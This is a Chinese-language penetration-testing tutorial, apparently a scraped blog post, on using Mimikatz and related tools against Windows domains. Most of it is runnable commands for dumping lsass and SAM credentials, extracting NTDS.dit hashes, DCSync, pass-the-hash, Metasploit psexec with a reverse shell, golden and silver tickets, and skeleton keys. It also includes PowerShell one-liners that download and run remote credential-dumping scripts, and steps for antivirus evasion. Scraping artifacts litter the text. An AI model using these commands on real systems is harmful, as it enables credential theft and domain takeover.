0x00 簡介
Mimikatz 是一款功能強大的輕量級調試神器,經過它你能夠提高進程權限注入進程讀取進程內存,固然他最大的亮點就是他能夠直接從 lsass.exe 進程中獲取當前登陸系統用戶名的密碼, lsass是微軟Windows系統的安全機制它主要用於本地安全和登錄策略,一般咱們在登錄系統時輸入密碼以後,密碼便會儲存在 lsass內存中,通過其 wdigest 和 tspkg 兩個模塊調用後,對其使用可逆的算法進行加密並存儲在內存之中, 而 mimikatz 正是經過對lsass逆算獲取到明文密碼!也就是說只要你不重啓電腦,就能夠經過他獲取到登錄密碼,只限當前登錄系統!html
注:可是在安裝了KB2871997補丁或者系統版本大於windows server 2012時,系統的內存中就再也不保存明文的密碼,這樣利用mimikatz就不能從內存中讀出明文密碼了。mimikatz的使用須要administrator用戶執行,administrators中的其餘用戶都不行。python
這裏放幾個神器的運行姿式:九種姿式運行:Mimikatz:https://www.freebuf.com/articles/web/176796.htmlgit
借用PowerShellgithub
#讀取密碼明文(須要管理員權限) powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
#讀取密碼hash值(須要管理員權限) powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
0x01 獲取本地賬戶密碼
1.1 本地執行
下載mimikatz程序,找到本身系統對應的位數,右鍵以管理員身份運行:web
#提高權限 privilege::debug #抓取密碼 sekurlsa::logonpasswords
當目標爲win10或2012R2以上時,默認在內存緩存中禁止保存明文密碼,但能夠經過修改註冊表的方式抓取明文。算法
cmd修改註冊表命令:chrome
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f #重啓或用戶從新登陸後能夠成功抓取
1.2 SAM表獲取hash
#導出SAM數據 reg save HKLM\SYSTEM SYSTEM reg save HKLM\SAM SAM #使用mimikatz提取hash lsadump::sam /sam:SAM /system:SYSTEM
0x02 Procdump+Mimikatz
當mimikatz沒法在主機上運行時,可使用微軟官方發佈的工具Procdump導出lsass.exe:shell
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
將lsass.dmp下載到本地後,而後執行mimikatz:數據庫
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
爲了方便複製與查看,能夠輸出到本地文件裏面:windows
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > pssword.txt
0x03 讀取域控中域成員Hash
3.1 域控本地讀取
注:得在域控上以域管理員身份執行mimikatz
方法一:直接執行
#提高權限 privilege::debug 抓取密碼 lsadump::lsa /patch
方法二:經過 dcsync,利用目錄複製服務(DRS)從NTDS.DIT文件中檢索密碼哈希值,能夠在域管權限下執行獲取:
#獲取全部域用戶 lsadump::dcsync /domain:test.com /all /csv #指定獲取某個用戶的hash lsadump::dcsync /domain:test.com /user:test
3.2 導出域成員Hash
域帳戶的用戶名和hash密碼以域數據庫的形式存放在域控制器的 %SystemRoot%\ntds\NTDS.DIT
文件中。
這裏能夠藉助:ntdsutil.exe,域控制器自帶的域數據庫管理工具,咱們能夠經過域數據庫,提取出域中全部的域用戶信息,在域控上依次執行以下命令,導出域數據庫:
#建立快照 ntdsutil snapshot "activate instance ntds" create quit quit #加載快照 ntdsutil snapshot "mount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit #Copy文件副本 copy C:\$SNAP_201911211122_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
將ntds.dit文件拷貝到本地利用impacket腳本dump出Hash:
secretsdump.py -ntds.dit -system system.hive LOCAL
除了藉助python,還有一個NTDSDumpEx(會被360查殺的哦):
工具地址:https://github.com/zcgonvh/NTDSDumpEx/releases
NTDSDumpEx -d ntds.dit -o domain.txt -s system.hiv (system.hive文件獲取:reg save hklm\system system.hive) NTDSDumpEx -d ntds.dit -o domain.txt -r (此命令適用於在域控本地執行)
最後記得卸載刪除快照:
ntdsutil snapshot "unmount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit ntdsutil snapshot "delete {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit
3.3 secretsdump腳本直接導出域hash
爲何要再提一遍secretsdump呢,由於它能夠直接導出,說白了,簡單粗暴:
python secretsdump.py rabbitmask:123456@192.168.15.181
首先它會導出本地SAM中的hash,而後是全部域內用戶的IP,所有獲取成功
0x04 哈希傳遞攻擊PTH
4.1 工做組環境
當咱們得到了一臺主機的NTLM哈希值,咱們可使用mimikatz對其進行哈希傳遞攻擊。執行完命令後,會彈出cmd窗口。
#使用administrator用戶的NTLM哈希值進行攻擊 sekurlsa::pth /user:administrator /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9
#使用xie用戶的NTLM哈希值進行攻擊 sekurlsa::pth /user:xie /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9
在彈出的cmd窗口,咱們直接能夠鏈接該主機,而且查看該主機下的文件夾。
或者能夠直接將該主機的C盤映射到本地的K盤。
注:只能在 mimikatz 彈出的 cmd 窗口才能夠執行這些操做,注入成功後,可使用psexec、wmic、wmiexec等實現遠程執行命令。
4.2 域環境
在域環境中,當咱們得到了域內用戶的NTLM哈希值,咱們可使用域內的一臺主機用mimikatz對域控進行哈希傳遞攻擊。執行完命令後,會彈出cmd窗口。前提是咱們必須擁有域內任意一臺主機的本地 administrator 權限和得到了域用戶的NTLM哈希值
域:xie.com
域控:WIN2008.xie.com
#使用域管理員administrator的NTLM哈希值對域控進行哈希傳遞攻擊 sekurlsa::pth /user:administrator /domain:"xie.com" /ntlm:dbd621b8ed24eb627d32514476fac6c5
#使用域用戶xie的NTLM哈希值對域控進行哈希傳遞攻擊 sekurlsa::pth /user:xie /domain:"xie.com" /ntlm:329153f560eb329c0e1deea55e88a1e9
4.3 MSF進行哈希傳遞
有些時候,當咱們獲取到了某臺主機的Administrator用戶的LM-Hash和 NTLM-Hash ,而且該主機的445端口打開着。咱們則能夠利用 exploit/windows/smb/psexec
漏洞用MSF進行遠程登陸(哈希傳遞攻擊)。(只能是administrator用戶的LM-hash和NTLM-hash),這個利用跟工做組環境或者域環境無關。
msf > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp msf exploit(psexec) > set lhost 192.168.10.27 msf exploit(psexec) > set rhost 192.168.10.14 msf exploit(psexec) > set smbuser Administrator msf exploit(psexec) > set smbpass 815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6 #這裏LM和NTLM咱們已經獲取到了 msf exploit(psexec) > exploit
0x05 票據傳遞攻擊(PTT)
5.1 黃金票據
域中每一個用戶的 Ticket 都是由 krbtgt 的密碼 Hash 來計算生成的,所以只要獲取到了 krbtgt 用戶的密碼 Hash ,就能夠隨意僞造 Ticket ,進而使用 Ticket 登錄域控制器,使用 krbtgt 用戶 hash 生成的票據被稱爲 Golden Ticket,此類攻擊方法被稱爲票據傳遞攻擊。
首先獲取krbtgt的用戶hash:
mimikatz "lsadump::dcsync /domain:xx.com /user:krbtgt"
利用 mimikatz 生成域管權限的 Golden Ticket,填入對應的域管理員帳號、域名稱、sid值,以下:
kerberos::golden /admin:administrator /domain:ABC.COM /sid:S-1-5-21-3912242732-2617380311-62526969 /krbtgt:c7af5cfc450e645ed4c46daa78fe18da /ticket:test.kiribi
#導入剛纔生成的票據 kerberos::ptt test.kiribi #導入成功後可獲取域管權限 dir \\dc.abc.com\c$
5.2 白銀票據
黃金票據和白銀票據的一些區別:Golden Ticket:僞造TGT,能夠獲取任何 Kerberos 服務權限,且由 krbtgt 的 hash 加密,金票在使用的過程須要和域控通訊
白銀票據:僞造 TGS ,只能訪問指定的服務,且由服務帳號(一般爲計算機帳戶)的 Hash 加密 ,銀票在使用的過程不須要同域控通訊
#在域控上導出 DC$ 的 HASH mimikatz log "privilege::debug" "sekurlsa::logonpasswords" #利用 DC$ 的 Hash製做一張 cifs 服務的白銀票據 kerberos::golden /domain:ABC.COM /sid: S-1-5-21-3912242732-2617380311-62526969 /target:DC.ABC.COM /rc4:f3a76b2f3e5af8d2808734b8974acba9 /service:cifs /user:strage /ptt #cifs是指的文件共享服務,有了 cifs 服務權限,就能夠訪問域控制器的文件系統 dir \\DC.ABC.COM\C$
5.3 skeleton key
skeleton key(萬能鑰匙)就是給全部域內用戶添加一個相同的密碼,域內全部的用戶 均可以使用這個密碼進行認證,同時原始密碼也可使用,其原理是對 lsass.exe 進行注 入,因此重啓後會失效。
#在域控上安裝 skeleton key mimikatz.exe privilege::debug "misc::skeleton" #在域內其餘機器嘗試使用 skeleton key 去訪問域控,添加的密碼是 mimikatz net use \\WIN-9P499QKTLDO.adtest.com\c$ mimikatz /user:adtest\administrator
微軟在 2014 年 3 月 12 日添加了 LSA 爆護策略,用來防止對進程 lsass.exe 的代碼注入。若是直接嘗試添加 skelenton key 會失敗。
#適用系統 windows 8.1 windows server 2012 及以上
固然 mimikatz 依舊能夠繞過,該功能須要導入mimidrv.sys文件,導入命令以下:
privilege::debug !+ !processprotect /process:lsass.exe /remove misc::skeleton
5.4 MS14-068
當咱們拿到了一個普通域成員的帳號後,想繼續對該域進行滲透,拿到域控服務器權限。若是域控服務器存在 MS14_068 漏洞,而且未打補丁,那麼咱們就能夠利用 MS14_068 快速得到域控服務器權限。
MS14-068編號 CVE-2014-6324,補丁爲 3011780 ,若是自檢可在域控制器上使用命令檢測。
systeminfo |find "3011780" #爲空說明該服務器存在MS14-068漏洞
操做連接:MS14-068復現(CVE-2014-6324):https://www.cnblogs.com/-mo-/p/11890539.html
0x06 其餘
6.1 使用mimikatz導出chrome中的密碼
詳情請見:連接
6.2 隱藏功能
管理員經常會禁用一些重要程序的運行,好比cmd、regedit、taskmgr,此時不方便滲透的進一步進行,這裏除了去改回原來的配置,還能夠藉助mimikatz的一些功能:
privilege::debug misc::cmd misc::regedit misc::taskmgr
6.3 免殺處理
Powersploit中提供的不少工具都是作過加密處理的,同時也提供了一些用來加密處理的腳本,Out-EncryptedScript就是其中之一。
首先在本地對Invoke-Mimikatz.ps1進行加密處理:
poweshell.exe Import-Module .\Out-EncryptedScript.ps1 poweshell.exe Out-EncryptedScript -ScriptPath .\Invoke-Mimikatz.ps1 -Password 密碼 -Salt 隨機數 #默認生成的文件是evil.ps1 -Password 設置加密的密鑰 -Salt 隨機數,防止被暴力破解
將加密生成的evil.sp1腳本放在目標機上,執行以下命令:
#遠程加載解密腳本 poweshell.exe IEX(New-Object Net.WebClient).DownloadString("http://1.1.1.32/PowerSploit/ScriptModification/Out-EncryptedScript.ps1") [String] $cmd = Get-Content .\evil.ps1 Invoke-Expression $cmd $decrypted = de password salt Invoke-Expression $decrypted Invoke-Mimikatz
0x07 參考連接
https://3gstudent.github.io/3gstudent.github.io/
https://blog.csdn.net/dda6607/article/details/101262101
https://blog.csdn.net/qq_36119192/article/details/83057161
https://blog.csdn.net/qq_36119192/article/details/100634467